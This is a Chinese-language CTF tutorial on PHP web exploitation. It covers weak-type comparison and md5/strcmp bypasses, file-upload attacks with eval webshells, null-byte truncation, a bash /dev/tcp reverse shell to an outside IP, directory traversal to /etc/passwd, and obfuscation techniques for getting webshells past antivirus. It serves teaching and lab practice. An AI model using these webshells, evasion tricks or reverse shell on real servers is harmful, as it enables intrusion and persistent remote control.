PHP
PHP(Hypertext Preprocessor),是一种创建动态交互性站点的服务器端脚本语言(后端语言),在CTF中常作为后端服务器语言出现。
基本语言特性
-
可以嵌入html
<!DOCTYPE html> <html> <body> <h1>My first PHP page</h1> <?php echo "Hello World!"; ?> </body> </html>
-
单行注释://
多行注释: /**/
-
基本语言结构:
- 以
<?php
标签为开头,后续的内容会被解释为php代码,?>
会作为PHP代码的结束符 - 语句结尾需要分号
;
- 以
-
变量形式:
$parm
第一次使用即创建,变量名区分大小写可变变量:用变量值来表示变量名:
<?php $a = "b"; $b = "123"; echo $$a; // 123
-
字符串:
<?php // ord("0") == 48 $a = "\60"; // $a == "0" $a = "\x30"; // $a == "0"
双引号支持解析变量和所有转义字符:
<?php $a = "festu"; echo "\"$a\" is a nickname"; // echo "\$";
单引号不支持解析变量,转义只支持两类:
\\
与\'
:<?php echo '\'\$\' wants to escape in single quote.';
-
数组
索引数组,声明时未指定键名,下标从0开始递增:
<?php $ar = array(1,2); var_dump($ar); // array(2) { [0]=> int(1) [1]=> int(2) }
关系数组,声明时指定键名:
<?php $ar = array( "name" => "festu", "email" => "abc@163.com" ); var_dump($ar); // array(2) { ["name"]=> string(5) "festu" ["email"]=> string(11) "abc@163.com" }
-
运算符
-
字符连接
.
:$parm = "abc"."ctf" // $parm = "abcctf"'
-
比较运算
-
==
等于运算符,弱比较运算===
全等于运算符,强比较运算具体特性与利用后面介绍
-
PHP7特有的组合比较符
<=>
,可用于比较整数、浮点数、字符串的大小:$c = $a <=> $b;
以整数为例:
<?php echo 1 <=> 1; // 0 echo 1 <=> 2; // -1 echo 2 <=> 1; // 1 ?>
-
逻辑运算符
echo $a and $b; // 逻辑与 echo $a && $b; echo $a or $b: // 逻辑或 echo $a || $b; echo $a xor $b: // 异或 echo !$a; // 逻辑非
-
-
phpinfo()
输出有关PHP配置的信息:phpinfo输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP 环境变量、操作系统版本信息、path 变量和PHP授权信息等
我们可以通过编辑
php.ini
文件来修改PHP的配置
来自PHP之外的变量
PHP可以接收来自外部Get或Post请求携带的参数, 例如利用HTML表单:
<!-- eg.1/index.html -->
<form action="recv.php" method="GET">
Name: <input type="text" name="username"><br />
Email: <input type="text" name="email"><br />
<input type="submit" name="submit" value="Submit me!" />
</form>
我们使用 $_GET['username']
来接受 username
参数。$_GET
与 $_POST
是存储外部变量的两个关系数组,分别存放两种方法传入的参数,var_dump()
函数可以详细查看PHP变量的信息,打印一下看看,示例1:
<?php // eg1/recv.php
if(isset($_GET['username'])){
echo "username: ".$_GET['username']."</br>";
}
if(isset($_GET['email'])){
echo "email: ".$_GET['email']."</br>";
}
echo "查看\$_GET的内容: ";
var_dump($_GET);
这两个数组变量被称为系统变量,他们是 PHP 的内置变量,且在全部作用域中始终可用,系统变量:
$GLOBALS // 引用全局作用域中可用的全部变量
$_POST // 获取 post 数据,是一个字典
$_GET // 获取 get 数据,是一个字典
$_COOKIE // 获取 cookie
$_SESSION // 获取 session
$_FILES // 获取上传的文件
$_REQUEST // 获取 $_GET,$_POST,$_COOKIE 中的数据
$_ENV // 环境变量
$_SERVER // 服务器和执行环境信息
你也可以上传一个数组变量,例如传入一个 ?username[]=festu&emai['value']=abc@163.com
:
<?php // eg1/vd.php
var_dump($_GET['username']);
echo "</br>";
var_dump($_GET['email']);
/* ->
array(1) { [0]=> string(5) "festu" }
array(1) { ["'value'"]=> string(3) "bac" }
变量名中的点 ¶
通常,PHP 不会改变传递给脚本中的变量名。然而应该注意到点(
.
)不是 PHP 变量名中的合法字符。至于原因,看看:<?php $varname.ext; /* 非法变量名 */?>
这时,解析器看到是一个名为 $varname 的变量,后面跟着一个字符串连接运算符,后面跟着一个裸字符串(即没有加引号的字符串,且不匹配任何已知的健名或保留字)‘ext’。很明显这不是想要的结果。
出于此原因,要注意 PHP 将会自动将变量名中的点替换成下划线。
例如:
?user.name=festu -> $_GET['user_name']="festu"
但是在PHP=8.0之前,我们可以利用 [
来传入一些非法的参数名。
[
本身也是一个非法字符,作为参数名传入时会被替换为下划线,但它会导致PHP发生转换错误,使得接下来的非法字符不再被替换为下划线,举个例子:
?CTF[user.name.first=Setyou
-> $_GET['CTF_user.name.first']="Setyou"
弱类型比较
PHP是一种弱类型语言,它对变量的类型限制较少,你可以对一个变量赋予任何类型的值而不用担心发生冲突:
<?php
$parm = 1;
$parm = "string";
比较操作符 ==
与 ===
==
在比较时会先转化两侧变量的类型,再进行比较。
1.字符串与数值(整数、浮点数)比较时,字符串会先被转换为数值类型:
<?php
echo 123 == "123abc"; // true, "123abc" -> 123
echo 123 == "abc123"; // false, "abc123" -> 0
echo 0 == "abc123"; // true
echo 123 == "12abc3"; // false, "12abc3" -> 12
2.整数与浮点数比较,整数类型会被转化为浮点数再作比较:
<?php
echo 1.0 == 1; // true
echo 2.0 == 2; // true
echo 0.0 == 0; // true
echo 2.1 == 2; // false
布尔值参与弱类型比较:
<?php
// 布尔值 true 与字符串
echo true == "abc"; // true
echo true == "123"; // true
echo true == "abc123"; // true
echo true == "0"; // false
// 布尔值 true 与数值
echo true == 123; // true
echo true == 1.23; // true
echo true == 0; // false
// false 特性与 true 正好相反
有一个比较特殊的是部分函数报错返回时会返回NULL:
<?php
NULL == 0;
NULL == false;
NULL == "0";
===
在比较时会先比较两侧变量的类型是否相同,再比较变量值是否相同。因此:
<?php
echo 123 === "123abc"; // false
echo 0 === "abc123"; // false
echo 1.0 === 1; // false
echo 2.0 === 2; // false
echo 0.0 === 0; // false
字符串与数值类型的转换
显示类型转换:
<?php
// str -> int
$str = (string)123; // "123"
$str = strval(123); // "123"
// int -> str
$num = intval("123"); // 123
$num = intval("456abc"); // 456
$num = intval("2.45"); // 2
隐式类型转换发生在如下场景:
- 字符串与数值类型进行算术运算
- 字符串与数值类型进行不严格比较
具体的转换规则如下:
-
如果一个字符串为 “合法数字+e+合法数字”类型,将会解释为科学计数法的浮点数
<?php echo 1 + "2e3"; // 2001
-
如果一个字符串为 “合法数字+ 不可解释为合法数字的字符串”类型,将会被转换为该合法数字的值,后面的字符串将会被丢弃
<?php echo 1 + "2e3ABCD"; // 2001
-
如果一个字符串为“不可解释为合法数字的字符串+任意”类型,则被转换为0
特殊情况:
<?php
echo "0e23" == "0.0E45"; // true
echo "0" == "0e23"; // true
当一个字符串满足常规数值类型的格式,例如 0, 1.23, 345, 0x123
,或者只包含了 .
或 e
或 E
中的一个或多个,且满足科学计数法的浮点数的格式,例如 2.2e3
,就会被定义为数字字符串,两个数字字符串作弱比较运算时,会先被转化为数值类型再比较。
十六进制字符串的转换特点:
<?php
"0xff" == 255; //true
"0xff" == "255"; //true
0xff == 255; // true
示例2:
<?php // eg2/index.php
if(isset($_GET['u'])){
$u = $_GET['u'];
var_dump($u);
if(!is_numeric($u)){
if($u > 233){
echo "</br>pass!";
}
}
} else {
echo "are u bigger than 233?";
}
is_numeric()
检查变量是否为数值类型或者数字字符串。
-
利用类型转换:
?u=234abc
-
利用十六进制:
?u=0x233 // 0x233 === 563
示例3:
<?php // eg3/index.php
if (isset($_GET['v1']) && isset($_GET['v2'])) {
$logined = true;
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if (!ctype_alpha($v1)) {$logined = false;}
if (!is_numeric($v2) ) {$logined = false;}
if (md5($v1) != md5($v2)) {$logined = false;}
if ($logined){
echo "login OK!";
// continuue to do other things
} else {
echo "login failed";
}
} else {
echo "v1? v2? get?";
}
isset()
函数检查变量是否被创建。ctype_alpha()
函数检查变量中是否为只有大小写字母的字符串。is_numeric()
函数检查变量是否为数值类型或者数字字符串。md5()
会计算目标字符串的md5散列值,一般而言,不同字符串的md5散列值是一定不同的。
string md5 ( string $str [, bool $raw_output = false ] )
str原始字符串。raw_output如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回,否则返回32位的16进制码
md5加密的结果是内容为十六进制的字符串,字母e是合法的,理论上我们可以构造出形如 "0e"+数字字符
的结果,让字符串被识别为科学技术法下的浮点数:
<?php
md5('240610708')
// "0e462097431906509019562988736854"
md5('QNKCDZO')
// "0e830400451993494058024219903391"
echo "0e462097431906509019562988736854" == "0e830400451993494058024219903391"; // true
遇到 ==
,两个字符串首先被检查是否为"数字字符串",两个都被识别为科学计数法,且都是0乘上一个很大的数,结果都为0。
最终payload:?v1=QNKCDZO&v2=240610708
MD5的绕过技巧
-
利用md5()函数结果的字符集特性,构造使用科学技术法的浮点数字符串,利用形如
0e123456
的字符串绕过检测。 -
利用数组类型的变量绕过检测:
<?php $parm1 = array(1); $parm2 = array(2); var_dump(md5($parm1) == md5($parm2)); var_dump(md5($parm1) === md5($parm2)); /* Warning: md5() expects parameter 1 to be string, array given... bool(true) bool(true)
md5()只接受字符串,接收到数组会出错并返回NULL,两边都为NULL就相等了,因此它也满足严格等于。
Tips:这一特性同样适用于
sha1()
函数,这是另一个计算字符串散列值的函数,感兴趣的可以自行了解 -
md5碰撞,使用工具fastcoll生成两个 **md5散列值相同 **但 内容不同 的文件。
生成两个md5碰撞的文件"test_msg1.txt"与"test_msg2.txt",读取并比较其中的内容,示例四:
<?php // eg4/index.php $test_msg1 = file_get_contents("../fastcoll/test_msg1.txt"); $test_msg2 = file_get_contents("../fastcoll/test_msg2.txt"); echo "urlencoded file1: "; var_dump(urlencode($test_msg1)); echo "<br>urlencoded file2: "; var_dump(urlencode($test_msg2)); echo "<br>md5 of file1: ".md5($test_msg1); echo "<br>md5 of file2: ".md5($test_msg2); echo "<br>file1 == file2 ? "; var_dump($test_msg1 == $test_msg2); /* -> urlencoded file1: string(496) "festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+%B1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1A%E6%BEn%1C%DB%D57%13%2AtS%FE%9D%DCmd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%19-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%8C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%1CL%DA%08%E2" urlencoded file2: string(494) "festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1Af%BFn%1C%DB%D57%13%2AtS%FE%9D%DC%EDd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%99-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%0C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%9CL%DA%08%E2" md5 of file1: 39016299dc35d9ef80d75ef9fa8b52e4 md5 of file2: 39016299dc35d9ef80d75ef9fa8b52e4 file1 == file2 ? bool(false)
示例5:
<?php // eg5/index.php
if(isset($_POST['a']) and isset($_POST['b'])){
$a = $_POST['a'];
$b = $_POST['b'];
if((string)$a != (string)$b and md5($a) === md5($b)){
echo "pass!";
} else {
echo "no!";
}
} else {
echo "Please post me \"a\" and \"b\" to get Pass!";
}
-
传入数组:
?a[]=1&b[]=2
(string)$a => "Array"
-
构造带e浮点数:
a=240610708&b=QNKCDZO
"0e462097431906509019562988736854" == "0e830400451993494058024219903391" // true "0e462097431906509019562988736854" === "0e830400451993494058024219903391" // false
-
md5碰撞:
a=festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+%B1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1A%E6%BEn%1C%DB%D57%13%2AtS%FE%9D%DCmd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%19-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%8C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%1CL%DA%08%E2&b=festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1Af%BFn%1C%DB%D57%13%2AtS%FE%9D%DC%EDd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%99-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%0C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%9CL%DA%08%E2&
- hackbar无法解析特殊字符,因此要发送原始数据 “urlencoded (raw)”
- hackbar在发送数据时会自动在最后添加一个换行符
\n
,若不做处理会污染参数b
的值,因此添加一个分隔符&
strcmp()漏洞
strcmp(string $string1, string $string2)
用于比较传入字符串的大小关系:
参数 ¶
string1
第一个字符串。
string2
第二个字符串。
返回值 ¶
如果
string1
小于string2
返回-1
;如果string1
大于string2
返回1
;如果两者相等,返回0
。
在PHP>5.3,向 strcmp()
函数中传入 数组,类,函数
会导致该函数出错,但它不会抛出Error或终端程序,只会返回 NULL
,可以利用这一特性绕过一些waf。
示例6:
<?php // eg6/index.php php>5.3
if(isset($_GET['key'])){
$key = "this_is_secret_key";
echo "</br>Trying to verify your identity...";
if(strcmp($key, $_GET['key']) == 0){
echo "</br>pass.";
} else {
echo "</br>no!";
}
} else {
echo "Get me your key";
}
传入 ?key[]=111
:
Trying to verify your identity...
Warning: strcmp() expects parameter 2 to be string, array given in F:\phpstudy_pro\WWW\lessons\eg6\index.php on line 5
pass.
示例7:
<?php // eg7/index.php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number[$i]);
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='secret get!';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo '你听说过海克斯科技吗?';
?>
JSON 是一种轻量级的文本数据交换格式,它的含义是 JavaScript 对象表示法(JavaScript Object Notation),即 JavaScript 标准下对象的数据表示格式
例如:
{ "key": "value", "arr": [ 1, 2 ], "obj": { "subKey": "subValue" } }
JSON的格式要求:
- 键必须用双引号括起
- 不同键值对用逗号分隔
- 键值对内部用冒号分隔键与值
- 数组用中括号,对象用大括号
php 中可以使用 json_decode()
函数解析 JSON 字符串,将其转化为 php 中的对象。
直接使用 GET 与 POST 传递参数时,所有参数无需引号包裹,都会被识别为字符串;而利用 JSON 的解析规则,我们可以传入其他类型的参数。
示例8:
<?php // eg8/index.php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="this_is_secret_key";
if ($message->key == $key) {
echo "success!";
}
else {
echo "fail!";
}
}
else{
echo "how to post message? what is json? where is flag?";
}
?>
利用 "a" == 0
的特点,我们向 Key 中传入数值 0 即可在不知道密钥 key 的具体内容的情况下,绕过 $message->key == $key
的检测,构造 JSON:
{
"key": 0
}
Switch-Case
php的Switch-Case语句块中也有弱类型比较的漏洞,例如:
<?php
$a= "3name";
switch($a){
case "3":
echo "wow";
break;
case 3:
echo "hey";
break;
default:
echo "emm";
}
// -> hey
实际上我们可以用 if($a == $n)
等价替换 case $N
语句。Case的判断逻辑实际上就是做了一次弱类型比较,因此它满足上述所有弱类型比较的特性。例如 $a
是字符串,而 case
后跟着数值时,字符串首先被转化为数值类型,再进行比较,因此 "3name" == 3
是成立的,php最终输出的是"hey"。
array_search与in_array
与 Switch-Case
结构类似,array_search
与 in_array
函数内部也有若比较匹配问题。
array_search(value, array, stricted = false)
该函数用于在数组中寻找值所对应的键名,第三个参数为false时函数内部使用 ==
来匹配。
in_array(value, array, stricted = false)
该函数判断值value是否在数组中存在,同样内部默认使用 ==
例如:
$test = [
1,2,3,0,"admin"
];
var_dump(array_search("admin", $test));
由于 0 == "admin"
,且该函数匹配第一个找到的位置,因此最后输出3
文件上传
文件上传是一种很常见的功能,你经常能在网站上找到如 上传头像、上传文章、上传用户文件
等功能。通过上传恶意木马文件,我们能够渗透进目标服务器。
一句话木马
<?php @eval($_GET['key']); //
eval(string $code)
将传入的字符串当做 PHP 代码解析并执行。
system(string $code)
用系统默认 shell 执行传入的 shell 命令
例如传入 ?key=system("dir");
:
<?php @eval("system(\"dir\")");
免杀 PHP 木马:
<?php // backdoor/webshell.php
class Test{
public $config='';
function __destruct(){
@eval($this->config);
}
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>
分类
文件上传可利用的两个条件:
- 文件上传后保存的路径可知
- 可上传特定类型的文件
- 上传的文件含有敏感内容
从限制上传文件类型的角度考虑,有多种过滤方式来构造防火墙:
靶场:CTFHub-文件上传
-
无验证、过滤
直接上传木马文件。
-
前端验证
服务器通过前端 JavaScript 来控制上传文件的类型,例如设置文件后缀名的黑名单或白名单。
-
通过 JavaScript 断点调试来绕过验证
-
在浏览器设置中禁用 JavaScript 来阻止 JS 运行,但有些网站会设置
<noscript>
来限制禁用了JS的浏览器使用其服务Chrome:设置->隐私与安全->网站设置->JavaScript->不允许网站使用 JavaScript
-
-
.htaccess
可覆盖.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、改变服务器对特定扩展名文件的解析方式(将
.jpg
文件解析为.php
)要启用
.htaccess
需要修改Apache的配置文件"httpd.conf",启用"AllowOverride"选项:<Directory /> Options FollowSymLinks AllowOverride ALL </Directory>
通过配置
.htaccess
可以更改服务器的访问规则,例如以下配置可以将所有包含.jpg
的文件被当做php源码解析:<FilesMatch "\.jpg"> SetHandler application/x-httpd-php </FilesMatch>
-
MIME绕过
MIME类型又称"多用途互联网邮件扩展"或"媒体类型",它是一种标准,用来表示文档、文件或一组数据的性质和格式。
MIME类型通常仅包含两个部分:类型(type)和子类型(subtype),中间由斜杠 "/"分割:
text/html
常见的MIME类型:
text/plain: 未知用途的文本文件 image/gif: gif image/jpeg: jpg/jpeg image/png: png image/webp: webp application/x-rar-compressed: RAR压缩文件 application/octet-stream: 字节流,未知的应用程序文件 --- POST时常用的数据类型 multipart/form-data: 多部分的表单信息 application/x-www-form-urlencoded: URL编码的表单信息 application/json: JSON格式的数据
一般情况下,前端进行POST请求时会根据场景发送不同类型的数据,通过设置 form 标签的 enctype 属性来规定数据类型:
<form action="index.php" method="post" enctype="multipart/form-data">
表单发送请求时会添加请求头
Content-Type: multipart/form-data
一般用于传输文件,一条传输 Form-Data 格式数据的HTTP请求如下:POST /ctfhub/MIME/index.php HTTP/1.1 Host: 10.206.12.253:83 Content-Length: 494 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.206.12.253:83 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLteEUrjao8yG5Xll User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.206.12.253:83/ctfhub/MIME/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryLteEUrjao8yG5Xll Content-Disposition: form-data; name="file"; filename="webshell.php" Content-Type: application/octet-stream <?php // backdoor/webshell.php class Test{ public $config=''; function __destruct(){ @eval($this->config); } } $test=new Test(); @$test->config=$_GET['cmd']; ?> ------WebKitFormBoundaryLteEUrjao8yG5Xll Content-Disposition: form-data; name="submit" Submit ------WebKitFormBoundaryLteEUrjao8yG5Xll--
通过篡改
Content-Type
可以伪造文件类型,例如将application/octet-stream
改为image/gif
感兴趣的可以了解一下:application/octet-stream
-
文件头检查
常见图片文件头:
89 50 4E 47: PNG FF D8 FF E0: JPG/JPEG 47 49 46 38 39 61: GIF
PNG的文件头有很多特殊字符,需要用十六进制编辑器输入
GIF的文件头可以直接明文输入:
GIF89a
将文件头放在木马最前面,可以通过文件头的检测。php读取源码时会忽略这些字符。
Tips:加上gif的文件头可能会让杀毒软件报毒
-
00截断:
漏洞条件:
php<5.3.29
且在"php.ini-dist"中打开:magic_quotes_gpc = off
,这个配置如果打开,php会检测通过请求传入的外部参数,为其中的特殊字符添加转义。原理:操作系统会将空字符
\0
即0x00
识别为结束符,php在写入文件时会向系统传入文件的存储路径,如果在操作路径中混有空字符\0
则后面的路径会被截断。例如以下源码将外部参数"save_path"动态拼接至文件的保存路径,示例9:
<?php // eg9/index.php if(isset($_POST['submit'])){ $file_name = explode(".", $_FILES['upload_file']['name']); $save_path = dirname(__FILE__)."/".$_GET['save_path']."/".$file_name[0].".txt"; if(move_uploaded_file($_FILES['upload_file']["tmp_name"], $save_path)){ echo "上传成功"; } else { echo "上传失败"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Upload-Demo</title> </head> <body> <form action="index.php?save_path=upload" enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"/> </br> <input type="submit" name="submit" value="Submit"> </form> </body> </html>
假设传入
?save_path=upload
,那么拼接所得路径为parent_dir/upload/file_name.txt
如果传入
?save_path=upload/webshell.php%00
,那么拼接所得路径为parent_dir/upload/webshell.php\0/file_name.txt
。操作系统存储文件时读到\0
就结束,因此文件最后会被保存为parent_dir/upload/webshell.php
,与上传的文件名file_name
没有任何关系。 -
防火墙绕过
当以检索字符串内容的形式限制传入内容时,防火墙通常会有两种形式:黑名单与白名单。黑名单限制哪些关键词不能通过waf,其他的内容都能通过,例如
不允许上传以php, jsp, asp为后缀的文件
;白名单限制只有哪些关键词能通过waf,其他的内容都不能通过,例如只允许上传以jpg, gif, png为后缀的文件
。黑名单的绕过:
防火墙过滤敏感词时,可能会将关键词替换为空,例如:
<?php $file_name = explode(".", $_GET['name']); $file_name[1] = str_replace("php", "", $file_name[1]); echo implode(".", $file_name);
如果我们传入
?input=abc.php
,会得到abc.
。我们可以用大小写绕过:
?input=abc.pHp
于是防火墙更新:
<?php $file_name = explode(".", $_GET['name']); $file_name[1] = preg_replace("/php/i", "", $file_name[1]); echo implode(".", $file_name);
我们可以复写关键词绕过:
?input=abc.pphphp
,会得到abc.php
于是防火墙再次更新,正则会将匹配到的所有"php"替换,示例10:
<?php // eg10/index.php if(isset($_GET['name'])){ $file_name = explode(".", $_GET['name']); while(preg_match("/php/i", $file_name[1])){ $file_name[1] = preg_replace("/php/i", "", $file_name[1]); } echo implode(".", $file_name); } else { echo "get me a name."; }
注意到防火墙只检测到了第一个后缀名,可以双写后缀名来绕过:
?index.gif.php
如果防火墙再次更新,将所有可能出现的
php
都过滤了,我们还可以尝试其他可用的php文件后缀:phtml, pht, php3, php4, php5
这些后缀能否被解析取决于服务器的配置。
木马利用
- 直接执行命令
- 反弹shell
- 蚁剑连接
命令执行
反弹shell与内网穿透
目标服务器将自己的交互shell发送给攻击端
攻击端需要监听特定端口,等待服务器访问并发送连接请求:
nc -lvp 279
Linux可以直接运行上述命令,Powershell中默认是没有nc的,需要下载 netcat for windows 。下载后在环境变量中配置 exe 文件所在的文件夹,然后在shell中测试 exe 文件能否运行,然后用该 exe 文件执行上述命令。
服务端需要将自己的交互式shell发送给攻击端,我们可以结合bash重定向与虚拟设备实现:
bash -c "bash -i >& /dev/tcp/2.3.4.5/279 0>&1"
命令 | 含义 |
---|---|
bash -c | 用bash这个shell执行后面的语句(sh不能调用/dev/tcp) |
bash -i | 返回一个bash的交互式shell |
>& | 将左侧的输出(标准输出)与右侧文件合并后重定向到右侧的文件中 |
/dev/tcp/ip/port | 虚拟设备文件,可以与指定ip的指定端口建立TCP连接 |
0>&1 | 将标准输入与标准输出合并后,重定向给标准输出 |
下载贝锐花生壳,注册一个内网穿透的体验版账号,给自己的电脑映射一个IP,然后尝试反弹ctfhub靶场的shell或者虚拟机的shell。
在内网穿透页单击新增映射会进入管理后台,点击添加映射后如下图设置,外网域名点击下拉框选择给定的,内网主机输入自己电脑的局域网IP,端口自定义一个,建议数字大一点,不容易端口冲突
其他内容默认,确定后就能成功添加映射。如果在 Linux 上内网穿透此时应该可以直接尝试反弹shell,如果在windows上操作,还需要调整防火墙设置。首先在windows的网络设置中选中自己连接的网络,将其设置为专用网络(标记为可信任网络,测试完后记得恢复为公用网络)
然后进入windows的"防火墙和网络保护",进入高级设置,在入站规则中"新建规则",依次设置:
规则类型为端口
应用于TCP
应用于本地特定端口:<添加映射时填写的端口>
允许连接
允许"专用网络"
确认后添加成功,确保启用规则。此时可以尝试反弹shell。
Tips
- 有些杀毒软件会将其标记导致 netcat 的网络功能受限制,建议双击 exe 文件测试一下运行情况,如果是火绒此时会弹出危险警告,将 exe 文件从隔离区恢复并信任即可
- Windows防火墙设置可能需要重启后才生效
蚁剑使用
蚁剑只能连接POST访问的木马。
目录遍历
从网站提供的服务角度出发,有时网站会提供读取某些文件、图片的功能,并把读取的接口以某种方式暴露出来,例如在URL中、POST请求参数中、Cookie中等,例如示例11:
<?php // eg11/index.php
if(isset($_GET['file'])){
$file = file_get_contents(dirname(__FILE__)."/".$_GET['file']);
echo "<img src=\"data:image/png;base64,".base64_encode($file)."\" />";
} else {
$file = file_get_contents(dirname(__FILE__)."/"."Myhome.png");
echo "<img src=\"data:image/png;base64,".base64_encode($file)."\" />";
}
file_get_contents
函数可以读取特定文件的内容到变量中。读取图片的内容并将其base64编码后,放到img标签里显示。html中的img标签可以以下格式显示base64编码后的图片:
<img src="data:image/png;base64,...." />
这种形式的特点是,不论访问的文件是什么格式,内容都会被明文显示在前端;由于传入的文件路径被动态拼接至最终读取文件的路径中,因此我们可以传入 ?file=../../../secret.txt
来访问到 F:/phpstudy_pro/secret.txt
:
<img src="data:image/png;base64,c2VjcmV0IGluIEY6L3BocHN0dWR5X3Bybw==">
<!-- secret in F:/phpstudy_pro -->
在linux下通常会尝试访问 /etc/passwd
文件来验证目录遍历漏洞,例如 ?file=../../../../../../../../../../../../../../etc/passwd
。在根目录下访问上级目录,仍会访问到根目录:/../../../../
等效于 /
。尽可能多的 ../
来穿越可能存在的多层目录从而访问到根目录。
如果服务器限制了访问内容的后缀,可以使用00截断来绕过:?file=../../../secret.txt%00/abc.png
木马免杀
杀毒软件在查杀病毒时会检测代码的特征,例如调用的函数名、暴露的字符串、关键词的组合(eval($_GET['sth'])
)。
因此木马免杀的主要思路是混淆代码特征。
assert
assert(mixed: assertion)
断言检测。当括号内的表达式返回值为True(return == true
)时,他就会执行表达式,否则它会抛出异常并中断程序。
几个重要函数的返回值:
phpinfo(); // 始终返回true
system(); // 如果命令执行成功返回输出的最后一行,失败则返回false
echo(); // 无返回值,即NULL
括号内的表达式可以是字符串形式:
<?php
assert("phpinfo()");
assert(phpinfo());
assert($_GET['cmd']);
但是 assert
在PHP的版本更新中遭到了严重针对。在"PHP5"中它可以正常使用,在"PHP7>=7.2.0"与"PHP8",它不能执行字符串形式的表达式。
可变函数
在PHP中,如果尝试以调用函数的方式调用某个变量,PHP会自动寻找与变量值同名的函数并调用:
<?php
$a = "phpinfo";
$a();
但这个特性它不支持特定函数:
echo, print, unset, isset, empty, include, require, eval
强行调用会抛出异常:
<?php
$a = "echo";
$a(1);
// Fatal error: Call to undefined function echo() in F:\phpstudy_pro\WWW\test\index.php on line 3
好在我们可以包装这些函数:
<?php
function my_eval($cmd){
@eval($cmd);
}
$a = "my_eval";
$a('phpinfo()');
混淆
-
字符串替换:
<?php // 定义my_eval函数 $a=substr_replace("my_evxx","al",5); @$a($_POST['cmd']); ?>
功能类似函数:
str_replace() substr_replace() preg_replace()
-
利用
array_map(function, array)
该函数为传入的数组中的每一个参数设置一个回调函数:<?php function my_eval($cmd){ eval($cmd); } array_map("my_eval", ["echo '1</br>';", "var_dump('233')"]); // 1string(3) "ctf"
它同样不支持一些特定函数,需要包装后使用
-
用函数多层打包:
<?php function my_eval($cmd){ @eval($cmd); } function out_eval($name, $cmd){ $name($cmd); } out_eval("my_eval", $_GET['cmd']);
-
结合类的魔术方法:
<?php class my_class{ public $cmd=''; function __destruct(){ // __call, __get @eval("$this->cmd"); } } $b=new my_class(); $b->cmd=$_POST['cmd']; ?>
-
编码与加密:
<?php // base64encode("eval") === "ZXZhbA==" $a = base64_decode("ZXZhbA=="); $a($_GET['cmd']);
也可以利用空字符混淆执行的语句(空字符会让eval发出警告,但能正常执行命令):
<?php // @eval("\x00".$_GET['cmd']."\x00");
